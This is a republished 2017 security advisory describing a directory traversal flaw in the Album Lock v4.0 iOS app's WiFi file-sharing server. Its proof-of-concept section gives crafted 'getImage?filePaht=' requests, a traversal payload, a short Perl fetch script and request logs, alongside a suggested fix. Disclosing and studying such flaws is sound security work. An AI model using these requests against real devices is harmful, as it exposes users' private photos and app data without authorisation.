Album Lock 4.0 Directory Traversal
Posted on 23 February 2017
Document Title: =============== Album Lock v4.0 iOS - Directory Traversal Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2033 Release Date: ============= 2017-02-20 Vulnerability Laboratory ID (VL-ID): ==================================== 2033 Common Vulnerability Scoring System: ==================================== 7.2 Product & Service Introduction: =============================== Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most convenient private Photo&Video App! You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways. >From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera. (Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application. Vulnerability Disclosure Timeline: ================================== 2017-02-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application. The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters. The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document` path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol. The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2. Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access. Request Method(s): [+] GET Vulnerable Module(s): [+] getObject Vulnerable Parameter(s): [+] filePaht Affected Module(s): [+] Web-Server File System Proof of Concept (PoC): ======================= The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Standard Request: http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png PoC: Payload /var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application Malicious Request: Exploitation http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/ http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/ http://localhost:8880/getImage?filePaht=/var/mobile/ PoC: Exploit use strict; use LWP::UserAgent; my $b = LWP::UserAgent->new(); my $host = "1.1.1.1:5555"; print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content; --- PoC Session Logs [GET] --- Status: 200[OK] GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8880] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Reference(s): http://localhost:8880/ http://localhost:8880/getImage http://localhost:8880/getImage?filePaht= http://localhost:8880/list_gif.html http://localhost:8880/list_gif.html?folder= Solution - Fix & Patch: ======================= The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder. Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation. Security Risk: ============== The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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